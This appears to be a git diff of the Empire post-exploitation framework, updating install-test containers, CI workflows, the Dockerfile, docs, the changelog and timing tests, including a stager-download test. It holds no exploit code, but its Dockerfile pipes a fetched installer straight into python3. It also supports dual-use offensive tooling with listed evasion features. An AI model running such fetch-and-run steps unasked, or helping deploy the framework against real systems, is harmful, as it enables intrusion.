| /empire/setup/install.sh -RUN rm -rf /empire/empire/server/data/empire* -RUN yes | ./ps-empire server --reset -ENTRYPOINT ["./ps-empire"] -CMD ["server"] diff --git a/.github/install_tests/Ubuntu2204.Dockerfile b/.github/install_tests/Ubuntu2204.Dockerfile deleted file mode 100644 index 67cf7c767..000000000 --- a/.github/install_tests/Ubuntu2204.Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM ubuntu:22.04 -WORKDIR /empire -COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml -RUN yes n | /empire/setup/install.sh -RUN rm -rf /empire/empire/server/data/empire* -RUN yes | ./ps-empire server --reset -ENTRYPOINT ["./ps-empire"] -CMD ["server"] diff --git a/.github/install_tests/cst-config-debian.yaml b/.github/install_tests/cst-config-debian.yaml new file mode 100644 index 000000000..b33ad2db9 --- /dev/null +++ b/.github/install_tests/cst-config-debian.yaml @@ -0,0 +1,8 @@ +schemaVersion: 2.0.0 +containerRunOptions: + user: "empire" +commandTests: + - name: "mysql version" + command: "mysql" + args: ["--version"] + expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/install_tests/cst-config-debian10.yaml b/.github/install_tests/cst-config-debian10.yaml deleted file mode 100644 index 8b84743fe..000000000 --- a/.github/install_tests/cst-config-debian10.yaml +++ /dev/null @@ -1,18 +0,0 @@ -schemaVersion: 2.0.0 -commandTests: - - name: "python3.8 which" - command: "which" - args: ["python3.8"] - expectedOutput: ["/usr/local/bin/python3"] - - name: "python3.8 version" - command: "python3.8" - args: ["--version"] - expectedOutput: ["Python 3.8.*"] - - name: "mysql which" - command: "which" - args: ["mysql"] - expectedOutput: ["/usr/bin/mysql"] - - name: "mysql version" - command: "mysql" - args: ["--version"] - expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/install_tests/cst-config-debian11.yaml b/.github/install_tests/cst-config-debian11.yaml deleted file mode 100644 index f42b73fb9..000000000 --- a/.github/install_tests/cst-config-debian11.yaml +++ /dev/null @@ -1,18 +0,0 @@ -schemaVersion: 2.0.0 -commandTests: - - name: "python3 which" - command: "which" - args: ["python3"] - expectedOutput: ["/usr/bin/python3"] - - name: "python3 version" - command: "python3" - args: ["--version"] - expectedOutput: ["Python 3.9.*"] - - name: "mysql which" - command: "which" - args: ["mysql"] - expectedOutput: ["/usr/bin/mysql"] - - name: "mysql version" - command: "mysql" - args: ["--version"] - expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/cst-config-base.yaml b/.github/install_tests/cst-config-install-base.yaml similarity index 50% rename from .github/cst-config-base.yaml rename to .github/install_tests/cst-config-install-base.yaml index cd1309d4a..4bce95cbb 100644 --- a/.github/cst-config-base.yaml +++ b/.github/install_tests/cst-config-install-base.yaml @@ -1,5 +1,32 @@ schemaVersion: 2.0.0 commandTests: + # pyenv + - name: "pyenv" + command: "which" + args: ["pyenv"] + expectedOutput: ["/usr/bin/pyenv"] + - name: "pyenv version" + command: "pyenv" + args: ["--version"] + expectedOutput: ["pyenv 2.3.*"] + # poetry + - name: "poetry python" + command: "poetry" + args: ["run", "which", "python3"] + expectedOutput: ["/empire/.venv/bin/python3"] + - name: "poetry" + command: "which" + args: ["poetry"] + expectedOutput: ["/usr/bin/poetry"] + - name: "poetry version" + command: "poetry" + args: ["--version"] + expectedOutput: ["Poetry (version 1.6*)*"] + - name: "poetry python version" + command: "poetry" + args: ["run", "python3", "--version"] + expectedOutput: ["Python 3.12.*"] + # dotnet - name: "dotnet which" command: "which" args: ["dotnet"] @@ -8,6 +35,7 @@ commandTests: command: "dotnet" args: [ "--version" ] expectedOutput: ["6.0.*"] + # powershell - name: "powershell which" command: "which" args: ["pwsh"] @@ -16,6 +44,21 @@ commandTests: command: "pwsh" args: ["--version"] expectedOutput: ["PowerShell 7.*"] + # mysql + - name: "mysql which" + command: "which" + args: ["mysql"] + expectedOutput: ["/usr/bin/mysql"] + # nim + - name: "nim which" + command: "which" + args: ["nim"] + expectedOutput: ["/usr/bin/nim"] + - name: "nim version" + command: "nim" + args: ["--version"] + expectedOutput: ["Nim Compiler Version 1.6.*"] + # run - name: "ps-empire help" command: "./ps-empire" args: ["server", "--help"] @@ -34,4 +77,3 @@ fileExistenceTests: - name: 'sharpire' path: '/empire/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/Sharpire' shouldExist: true - \ No newline at end of file diff --git a/.github/install_tests/cst-config-kali.yaml b/.github/install_tests/cst-config-kali.yaml new file mode 100644 index 000000000..b33ad2db9 --- /dev/null +++ b/.github/install_tests/cst-config-kali.yaml @@ -0,0 +1,8 @@ +schemaVersion: 2.0.0 +containerRunOptions: + user: "empire" +commandTests: + - name: "mysql version" + command: "mysql" + args: ["--version"] + expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/install_tests/cst-config-kalirolling.yaml b/.github/install_tests/cst-config-kalirolling.yaml deleted file mode 100644 index df105d04c..000000000 --- a/.github/install_tests/cst-config-kalirolling.yaml +++ /dev/null @@ -1,18 +0,0 @@ -schemaVersion: 2.0.0 -commandTests: - - name: "python3 which" - command: "which" - args: ["python3"] - expectedOutput: ["/usr/bin/python3"] - - name: "python3 version" - command: "python3" - args: ["--version"] - expectedOutput: ["Python 3.11.*"] - - name: "mysql which" - command: "which" - args: ["mysql"] - expectedOutput: ["/usr/bin/mysql"] - - name: "mysql version" - command: "mysql" - args: ["--version"] - expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/install_tests/cst-config-parrot.yaml b/.github/install_tests/cst-config-parrot.yaml new file mode 100644 index 000000000..b33ad2db9 --- /dev/null +++ b/.github/install_tests/cst-config-parrot.yaml @@ -0,0 +1,8 @@ +schemaVersion: 2.0.0 +containerRunOptions: + user: "empire" +commandTests: + - name: "mysql version" + command: "mysql" + args: ["--version"] + expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] diff --git a/.github/install_tests/cst-config-parrotrolling.yaml b/.github/install_tests/cst-config-parrotrolling.yaml deleted file mode 100644 index b5b947bc7..000000000 --- a/.github/install_tests/cst-config-parrotrolling.yaml +++ /dev/null @@ -1,18 +0,0 @@ -schemaVersion: 2.0.0 -commandTests: - - name: "python3 which" - command: "which" - args: ["python3"] - expectedOutput: ["/usr/bin/python3"] - - name: "python3 version" - command: "python3" - args: ["--version"] - expectedOutput: ["Python 3.9.*"] - - name: "mysql which" - command: "which" - args: ["mysql"] - expectedOutput: ["/usr/bin/mysql"] - - name: "mysql version" - command: "mysql" - args: ["--version"] - expectedOutput: ["mysql Ver 15.*10.*-MariaDB"] \ No newline at end of file diff --git a/.github/install_tests/cst-config-ubuntu.yaml b/.github/install_tests/cst-config-ubuntu.yaml new file mode 100644 index 000000000..0702ea6eb --- /dev/null +++ b/.github/install_tests/cst-config-ubuntu.yaml @@ -0,0 +1,8 @@ +schemaVersion: 2.0.0 +containerRunOptions: + user: "empire" +commandTests: + - name: "mysql version" + command: "mysql" + args: ["--version"] + expectedOutput: ["mysql Ver 8.0.*"] diff --git a/.github/install_tests/cst-config-ubuntu2004.yaml b/.github/install_tests/cst-config-ubuntu2004.yaml deleted file mode 100644 index dd2c6e9f9..000000000 --- a/.github/install_tests/cst-config-ubuntu2004.yaml +++ /dev/null @@ -1,18 +0,0 @@ -schemaVersion: 2.0.0 -commandTests: - - name: "python3 which" - command: "which" - args: ["python3"] - expectedOutput: ["/usr/bin/python3"] - - name: "python3 version" - command: "python3" - args: ["--version"] - expectedOutput: ["Python 3.8.*"] - - name: "mysql which" - command: "which" - args: ["mysql"] - expectedOutput: ["/usr/bin/mysql"] - - name: "mysql version" - command: "mysql" - args: ["--version"] - expectedOutput: ["mysql Ver 8.0.*"] diff --git a/.github/install_tests/cst-config-ubuntu2204.yaml b/.github/install_tests/cst-config-ubuntu2204.yaml deleted file mode 100644 index d23728bde..000000000 --- a/.github/install_tests/cst-config-ubuntu2204.yaml +++ /dev/null @@ -1,18 +0,0 @@ -schemaVersion: 2.0.0 -commandTests: - - name: "python3 which" - command: "which" - args: ["python3"] - expectedOutput: ["/usr/bin/python3"] - - name: "python3 version" - command: "python3" - args: ["--version"] - expectedOutput: ["Python 3.10.*"] - - name: "mysql which" - command: "which" - args: ["mysql"] - expectedOutput: ["/usr/bin/mysql"] - - name: "mysql version" - command: "mysql" - args: ["--version"] - expectedOutput: ["mysql Ver 8.0.*"] \ No newline at end of file diff --git a/.github/install_tests/docker-compose-install-tests.yml b/.github/install_tests/docker-compose-install-tests.yml index d40db603f..404685293 100644 --- a/.github/install_tests/docker-compose-install-tests.yml +++ b/.github/install_tests/docker-compose-install-tests.yml @@ -1,40 +1,65 @@ -# This is for testing the install script for the supported OS. version: '3' +x-common-build: &common-build + context: ../../ + dockerfile: .github/install_tests/InstallTest.Dockerfile + +x-common-platform: &common-platform + platform: "linux/amd64" + services: ubuntu2004: build: - context: ../../ - dockerfile: .github/install_tests/Ubuntu2004.Dockerfile + <<: *common-build + args: + BASE_IMAGE: ubuntu:20.04 image: bcsecurity/empire-test-ubuntu2004 - platform: "linux/amd64" + <<: *common-platform + ubuntu2204: build: - context: ../../ - dockerfile: .github/install_tests/Ubuntu2204.Dockerfile + <<: *common-build + args: + BASE_IMAGE: ubuntu:22.04 image: bcsecurity/empire-test-ubuntu2204 - platform: "linux/amd64" + <<: *common-platform + debian10: build: - context: ../../ - dockerfile: .github/install_tests/Debian10.Dockerfile + <<: *common-build + args: + BASE_IMAGE: debian:buster image: bcsecurity/empire-test-debian10 - platform: "linux/amd64" + <<: *common-platform + debian11: build: - context: ../../ - dockerfile: .github/install_tests/Debian11.Dockerfile + <<: *common-build + args: + BASE_IMAGE: debian:bullseye image: bcsecurity/empire-test-debian11 - platform: "linux/amd64" + <<: *common-platform + + debian12: + build: + <<: *common-build + args: + BASE_IMAGE: debian:bookworm + image: bcsecurity/empire-test-debian12 + <<: *common-platform + kalirolling: build: - context: ../../ - dockerfile: .github/install_tests/KaliRolling.Dockerfile + <<: *common-build + args: + BASE_IMAGE: kalilinux/kali-rolling image: bcsecurity/empire-test-kalirolling - platform: "linux/amd64" + <<: *common-platform + parrotrolling: build: - context: ../../ - dockerfile: .github/install_tests/ParrotRolling.Dockerfile + <<: *common-build + args: + BASE_IMAGE: parrotsec/core image: bcsecurity/empire-test-parrotrolling - platform: "linux/amd64" + <<: *common-platform diff --git a/.github/install_tests/run-all-cst.sh b/.github/install_tests/run-all-cst.sh new file mode 100755 index 000000000..04f43f853 --- /dev/null +++ b/.github/install_tests/run-all-cst.sh @@ -0,0 +1,29 @@ +#!/bin/bash +set -e + +# The script is run like `./run-all-cst.sh debian12 debian11 debian10` to test multiple images +# or `./run-all-cst.sh debian12` to test a single image +# or `./run-all-cst.sh` to test all images + +all_images=(debian12 debian11 debian10 ubuntu2004 ubuntu2204 kalirolling parrotrolling) + +for image in "${@:-${all_images[@]}}" +do + yaml="" + # For debian trim the numbers off the end + if [[ $image == debian* ]]; then + yaml=debian + fi + # For ubuntu trim the numbers off the end + if [[ $image == ubuntu* ]]; then + yaml=ubuntu + fi + # For kali and parrot trim "rolling" off the end + if [[ $image == kali* || $image == parrot* ]]; then + yaml=${image%rolling} + fi + + echo "Testing $image with $yaml.yaml" + container-structure-test test -i docker.io/bcsecurity/empire-test-$image -c .github/install_tests/cst-config-install-base.yaml + container-structure-test test -i docker.io/bcsecurity/empire-test-$image -c .github/install_tests/cst-config-$yaml.yaml +done diff --git a/.github/workflows/lint-and-test.yml b/.github/workflows/lint-and-test.yml index 041a37875..bc26a2f09 100644 --- a/.github/workflows/lint-and-test.yml +++ b/.github/workflows/lint-and-test.yml @@ -12,7 +12,7 @@ jobs: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - - uses: psf/black@23.9.1 + - uses: psf/black@23.10.0 - name: Run ruff run: | pip install ruff==0.0.283 @@ -23,11 +23,11 @@ jobs: - id: release if: ${{ startsWith(github.head_ref, 'release/') || contains( github.event.pull_request.labels.*.name, 'run-all-versions') }} run: | - echo "config={\"python-version\": [\"3.8\", \"3.9\", \"3.10\", \"3.11\"]}" >> $GITHUB_OUTPUT + echo "config={\"python-version\": [\"3.10\", \"3.11\", \"3.12\"]}" >> $GITHUB_OUTPUT - id: not-release if: ${{ !startsWith(github.head_ref, 'release/') }} run: | - echo "config={\"python-version\": [\"3.8\", \"3.11\"]}" >> $GITHUB_OUTPUT + echo "config={\"python-version\": [\"3.10\", \"3.12\"]}" >> $GITHUB_OUTPUT outputs: config: ${{ steps.release.outputs.config || steps.not-release.outputs.config }} test: @@ -41,13 +41,13 @@ jobs: matrix: ${{ fromJson(needs.matrix-prep-config.outputs.config) }} steps: - uses: actions/checkout@v3 - if: ${{ github.repository == 'BC-SECURITY/Empire' }} + if: ${{ endsWith(github.repository, 'Empire') }} with: submodules: 'recursive' # token is only needed in sponsors repo because of private submodules # don't use token in public repo because prs from forks cannot access secrets - uses: actions/checkout@v3 - if: ${{ github.repository == 'BC-SECURITY/Empire-Sponsors' }} + if: ${{ endsWith(github.repository, 'Empire-Sponsors') }} with: submodules: 'recursive' token: ${{ secrets.RELEASE_TOKEN }} @@ -73,18 +73,18 @@ jobs: poetry install - name: Run test suite - mysql run: | - set -o pipefail - if [ "${{ matrix.python-version }}" = "3.11" ]; then - DATABASE_USE=mysql poetry run pytest -v --runslow --cov=empire/server --junitxml=pytest.xml --cov-report=term-missing:skip-covered . | tee pytest-coverage.txt - else - DATABASE_USE=mysql poetry run pytest -v --runslow . - fi + set -o pipefail + if [ "${{ matrix.python-version }}" = "3.12" ]; then + DATABASE_USE=mysql poetry run pytest -v --runslow --cov=empire/server --junitxml=pytest.xml --cov-report=term-missing:skip-covered . | tee pytest-coverage.txt + else + DATABASE_USE=mysql poetry run pytest -v --runslow . + fi - name: Run test suite - sqlite if: ${{ startsWith(github.head_ref, 'release/') || contains(github.event.pull_request.labels.*.name, 'test-sqlite') }} run: | DATABASE_USE=sqlite poetry run pytest . -v --runslow - name: Pytest coverage comment - if: ${{ matrix.python-version == '3.11' }} + if: ${{ matrix.python-version == '3.12' }} uses: MishaKav/pytest-coverage-comment@v1.1.48 with: pytest-coverage-path: ./pytest-coverage.txt @@ -104,103 +104,45 @@ jobs: run: docker-compose -f .github/docker-compose.yml build - name: Run tests on docker image run: docker-compose -f .github/docker-compose.yml run test - - name: run structure tests base - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: bcsecurity/empire-test:latest - config: .github/cst-config-base.yaml - name: run structure tests docker - uses: plexsystems/container-structure-test-action@v0.1.0 + uses: plexsystems/container-structure-test-action@v0.3.0 with: image: bcsecurity/empire-test:latest config: .github/cst-config-docker.yaml test_install_script: needs: test - timeout-minutes: 45 + timeout-minutes: 30 runs-on: ubuntu-latest name: Test Install Script + strategy: + matrix: + # Because the box runs out of disk space, we can't run all tests on a single docker compose build. + images: + - ['debian10', 'debian11', 'debian12'] + - ['ubuntu2004', 'ubuntu2204'] + - ['kalirolling'] # 'parrotrolling' + # Parrot disabled for now because the apt repo is having some slowness issues. + # Install is running up way too many minutes. steps: - uses: actions/checkout@v3 with: submodules: 'recursive' depth: 0 - token: ${{ secrets.RELEASE_TOKEN }} # To save CI time, only run these tests when the install script or deps changed - name: Get changed files using defaults id: changed-files uses: tj-actions/changed-files@v29.0.2 - name: Build images if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - run: docker-compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel - - name: run structure tests base Ubuntu 20.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-ubuntu2004:latest - config: .github/cst-config-base.yaml - - name: run structure tests Ubuntu 20.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-ubuntu2004:latest - config: .github/install_tests/cst-config-ubuntu2004.yaml - - name: run structure tests base Ubuntu 22.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-ubuntu2204:latest - config: .github/cst-config-base.yaml - - name: run structure tests Ubuntu 22.04 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-ubuntu2204:latest - config: .github/install_tests/cst-config-ubuntu2204.yaml - - name: run structure tests base Debian 10 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-debian10:latest - config: .github/cst-config-base.yaml - - name: run structure tests Debian 10 + run: docker compose -f .github/install_tests/docker-compose-install-tests.yml build --parallel ${{ join(matrix.images, ' ') }} + - name: run install tests if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-debian10:latest - config: .github/install_tests/cst-config-debian10.yaml - - name: run structure tests base Debian 11 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-debian11:latest - config: .github/cst-config-base.yaml - - name: run structure tests Debian 11 - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-debian11:latest - config: .github/install_tests/cst-config-debian11.yaml - - name: run structure tests Kali base - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-kalirolling:latest - config: .github/cst-config-base.yaml - - name: run structure tests Kali - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-kalirolling:latest - config: .github/install_tests/cst-config-kalirolling.yaml - - name: run structure tests Parrot base - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-parrotrolling:latest - config: .github/cst-config-base.yaml - - name: run structure tests Parrot - if: contains(steps.changed-files.outputs.modified_files, 'setup/install.sh') || contains(steps.changed-files.outputs.modified_files, 'poetry.lock') - uses: plexsystems/container-structure-test-action@v0.1.0 - with: - image: docker.io/bcsecurity/empire-test-parrotrolling:latest - config: .github/install_tests/cst-config-parrotrolling.yaml + # Using a script instead of prepackaged action because composite actions can't uses + # a matrix and this is way simpler to read. + run: | + curl -LO https://storage.googleapis.com/container-structure-test/latest/container-structure-test-linux-amd64 && \ + chmod +x container-structure-test-linux-amd64 && \ + mkdir -p $HOME/bin && \ + export PATH=$PATH:$HOME/bin && \ + mv container-structure-test-linux-amd64 $HOME/bin/container-structure-test + ./.github/install_tests/run-all-cst.sh ${{ join(matrix.images, ' ') }} diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 54feb6542..6a3d65a43 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -15,7 +15,7 @@ repos: args: [--fix, --exit-non-zero-on-fix] - repo: https://github.com/psf/black-pre-commit-mirror - rev: 23.9.1 + rev: 23.10.0 hooks: - id: black - language_version: python3.9 + language_version: python3.10 diff --git a/.python-version b/.python-version new file mode 100644 index 000000000..e4fba2183 --- /dev/null +++ b/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/CHANGELOG.md b/CHANGELOG.md index d5bfd06c0..7fd685956 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Warning: You may run into errors installing things such as nim if you are running the install script on a machine that previously ran it. This is due to permissions changes with the install script. In this case it is recommended to use a fresh machine or manually remove the offending directories/files. +- Update install script (@Vinnybod) + - Use pyenv to install Python + - Use the official Poetry installer + - Don't run the entire script as root + - Rewrite the test containers and reuse a templated Dockerfile + - Add Debian12 support + - Bump all OS to use Python 3.12 + - Refactor the script to be a bit more readable + - Condense the test_install_script job +- Update Dockerfile (@Vinnybod) + - Use the official Poetry installer + - Fix Starkiller trying to auto-update inside the container + - Pre-install Starkiller as part of the docker build + - Use Python 3.12 +- Dependency changes (@Vinnybod) + - Use BC-Security fork of md2pdf until upstream can support Python 3.12 + - Use a patched version of pysecretsocks that packages asyncore for Python 3.12 support + - Use docopt-ng for Python 3.12 support + - Add packaging as a runtime dependency +- Drop support for Python 3.8 and 3.9 - Correct more deprecation warnings for SQLAlchemy and invalid escape sequences (@Vinnybod) - Added option to start MySQL service on boot to install script (@Cx01N) - Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) diff --git a/Dockerfile b/Dockerfile index 63f0ef4f8..58579e95e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -7,25 +7,16 @@ # 2) create volume storage: `docker create -v /empire --name data bcsecurity/empire` # 3) run out container: `docker run -it --volumes-from data bcsecurity/empire /bin/bash` -# -----RELEASE COMMANDS---- -# Handled by GitHub Actions +FROM python:3.12.0-bullseye -# -----BUILD ENTRY----- - -# image base -FROM python:3.11.4-bullseye - -# extra metadata LABEL maintainer="bc-security" LABEL description="Dockerfile for Empire server and client. https://bc-security.gitbook.io/empire-wiki/quickstart/installation#docker" -# env setup ENV STAGING_KEY=RANDOM DEBIAN_FRONTEND=noninteractive DOTNET_CLI_TELEMETRY_OPTOUT=1 -# set the def shell for ENV SHELL ["/bin/bash", "-c"] -RUN wget -q https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb && \ +RUN wget -q https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb && \ dpkg -i packages-microsoft-prod.deb && \ apt-get update && \ apt-get install -qq \ @@ -34,30 +25,33 @@ RUN wget -q https://packages.microsoft.com/config/debian/10/packages-microsoft-p dotnet-sdk-6.0 \ libicu-dev \ powershell \ - python3-dev \ - python3-pip \ sudo \ xclip \ zip \ + curl \ && rm -rf /var/lib/apt/lists/* +RUN curl -sSL https://install.python-poetry.org | python3 - +RUN ln -s /root/.local/bin/poetry /usr/bin + WORKDIR /empire COPY pyproject.toml poetry.lock /empire/ -RUN pip install poetry \ - --disable-pip-version-check && \ - poetry config virtualenvs.create false && \ +RUN poetry config virtualenvs.create false && \ poetry install --no-root COPY . /empire -RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml - RUN mkdir -p /usr/local/share/powershell/Modules && \ cp -r ./empire/server/data/Invoke-Obfuscation /usr/local/share/powershell/Modules RUN rm -rf /empire/empire/server/data/empire* +RUN sed -i 's/use: mysql/use: sqlite/g' empire/server/config.yaml +RUN sed -i 's/auto_update: true/auto_update: false/g' empire/server/config.yaml + +RUN ./ps-empire sync-starkiller + ENTRYPOINT ["./ps-empire"] CMD ["server"] diff --git a/README.md b/README.md index b59515342..6225cf7f6 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@
- -![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg) + +![Empire](https://user-images.githubusercontent.com/20302208/70022749-1ad2b080-154a-11ea-9d8c-1b42632fd9f9.jpg) [![Donate](https://img.shields.io/badge/Donate-Sponsor-blue?style=plastic&logo=github)](https://github.com/sponsors/BC-SECURITY) [![Docs](https://img.shields.io/badge/Wiki-Docs-green?style=plastic&logo=wikipedia)](https://bc-security.gitbook.io/empire-wiki/) [![Discord](https://img.shields.io/discord/716165691383873536?style=plastic&logo=discord)](https://discord.gg/P8PZPyf) @@ -34,7 +34,7 @@ Empire is a post-exploitation and adversary emulation framework that is used to - JA3/S and JARM Evasion - MITRE ATT&CK Integration - Integrated Roslyn compiler (Thanks to [Covenant](https://github.com/cobbr/Covenant)) -- Docker, Kali, ParrotOS, Ubuntu 20.04/22.04, and Debian 10/11 Install Support +- Docker, Kali, ParrotOS, Ubuntu 20.04/22.04, and Debian 10/11/12 Install Support ### Agents - PowerShell diff --git a/docs/quickstart/installation/README.md b/docs/quickstart/installation/README.md index 4a2b410ad..e89fd33b5 100644 --- a/docs/quickstart/installation/README.md +++ b/docs/quickstart/installation/README.md @@ -6,10 +6,10 @@ The following operating systems have been tested for Empire compatibility. We wi * Kali Linux Rolling * Ubuntu 20.04 / 22.04 -* Debian 10 / 11 +* Debian 10 / 11 / 12 * ParrotOS -As of Empire 4.0, Python 3.8 is the minimum Python version required. +As of Empire 5.8, Python 3.10 is the minimum Python version required. ## Github @@ -19,7 +19,7 @@ Note: The `main` branch is a reflection of the latest changes and may not always git clone --recursive https://github.com/BC-SECURITY/Empire.git cd Empire ./setup/checkout-latest-tag.sh -sudo ./setup/install.sh +./setup/install.sh ``` **Sponsors:** @@ -28,7 +28,7 @@ sudo ./setup/install.sh git clone --recursive https://github.com/BC-SECURITY/Empire-Sponsors.git cd Empire-Sponsors ./setup/checkout-latest-tag.sh sponsors -sudo ./setup/install.sh +./setup/install.sh ``` If you are using the sponsors version of Empire, it will pull the sponsors version of Starkiller. @@ -83,4 +83,4 @@ All image versions can be found at: [https://hub.docker.com/r/bcsecurity/empire/ ## Community-Supported Operating Systems -At this time, we are choosing to only support Kali, Debian 10, and Ubuntu 20.04 installations, however, we will accept pull requests that fix issues or provide installation scripts specific to other operating systems to this wiki. +At this time, we are choosing to only support Kali, ParrotOS, Debian 10/11/12, and Ubuntu 20.04/22.04 installations, however, we will accept pull requests that fix issues or provide installation scripts specific to other operating systems to this wiki. diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 1c32585b6..62e554049 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -93,8 +93,6 @@ def client(): yield TestClient(v2App) - print("cleanup") - from empire.server.server import main main.shutdown() diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py index 473e31345..928c6dba5 100644 --- a/empire/test/test_agent_checkins_api.py +++ b/empire/test/test_agent_checkins_api.py @@ -115,11 +115,10 @@ def test_database_performance_checkins(models, host, agents, session_local): assert t() < 1 with timer() as t: - query = db.query(models.AgentCheckIn).limit(100000) + query = db.query(models.AgentCheckIn).limit(50000) query.all() log.info(f"Time to query {checkins} checkins: {t():0.4f} seconds") - # Changed from 4 to 5 in 2023/07 - assert t() < 5 + assert t() < 6 agents = db.query(models.Agent).all() @@ -190,7 +189,7 @@ def test_get_agent_checkins_multiple_agents( ) -@pytest.mark.slow +# @pytest.mark.slow def test_agent_checkins_aggregate( client, admin_auth_header, session_local, models, agents, empire_config ): @@ -205,7 +204,7 @@ def test_agent_checkins_aggregate( ) assert response.status_code == 200 - assert response.elapsed.total_seconds() < 2 + assert response.elapsed.total_seconds() < 5 assert response.json()["bucket_size"] == "day" assert response.json()["records"][1]["count"] == 17280 * 3 @@ -216,7 +215,7 @@ def test_agent_checkins_aggregate( ) assert response.status_code == 200 - assert response.elapsed.total_seconds() < 2 + assert response.elapsed.total_seconds() < 5 assert response.json()["bucket_size"] == "hour" assert response.json()["records"][1]["count"] == 720 * 3 @@ -227,20 +226,22 @@ def test_agent_checkins_aggregate( ) assert response.status_code == 200 - assert response.elapsed.total_seconds() < 2 + assert response.elapsed.total_seconds() < 5 assert response.json()["bucket_size"] == "minute" assert response.json()["records"][1]["count"] == 12 * 3 response = client.get( "/api/v2/agents/checkins/aggregate", headers=admin_auth_header, - params={"bucket_size": "second"}, + params={ + "bucket_size": "second", + "start_date": start_time, + "end_date": start_time + timedelta(hours=2), + }, ) assert response.status_code == 200 - # On an m1 macbook this is <1s, but in CI it's ~11s. ymmv - # Changed from 15 to 17 in 2023/07 - assert response.elapsed.total_seconds() < 17 + assert response.elapsed.total_seconds() < 5 assert response.json()["bucket_size"] == "second" assert response.json()["records"][1]["count"] == 1 * 3 diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 245dd08e3..4fda50efe 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -441,10 +441,10 @@ def test_bat_stager_creation(client, bat_stager, admin_auth_header): # Check if the file is downloaded successfully assert response.status_code == 200 - assert ( - response.headers.get("content-type").split(";")[0] - == "application/x-msdos-program" - ) + assert response.headers.get("content-type").split(";")[0] in [ + "application/x-msdownload", + "application/x-msdos-program", + ] assert isinstance(response.content, bytes) # Check if the downloaded file is not empty diff --git a/poetry.lock b/poetry.lock index 0dfb6be4e..41e6da469 100644 --- a/poetry.lock +++ b/poetry.lock @@ -13,13 +13,13 @@ files = [ [[package]] name = "altgraph" -version = "0.17.3" +version = "0.17.4" description = "Python graph (network) package" optional = false python-versions = "*" files = [ - {file = "altgraph-0.17.3-py2.py3-none-any.whl", hash = "sha256:c8ac1ca6772207179ed8003ce7687757c04b0b71536f81e2ac5755c6226458fe"}, - {file = "altgraph-0.17.3.tar.gz", 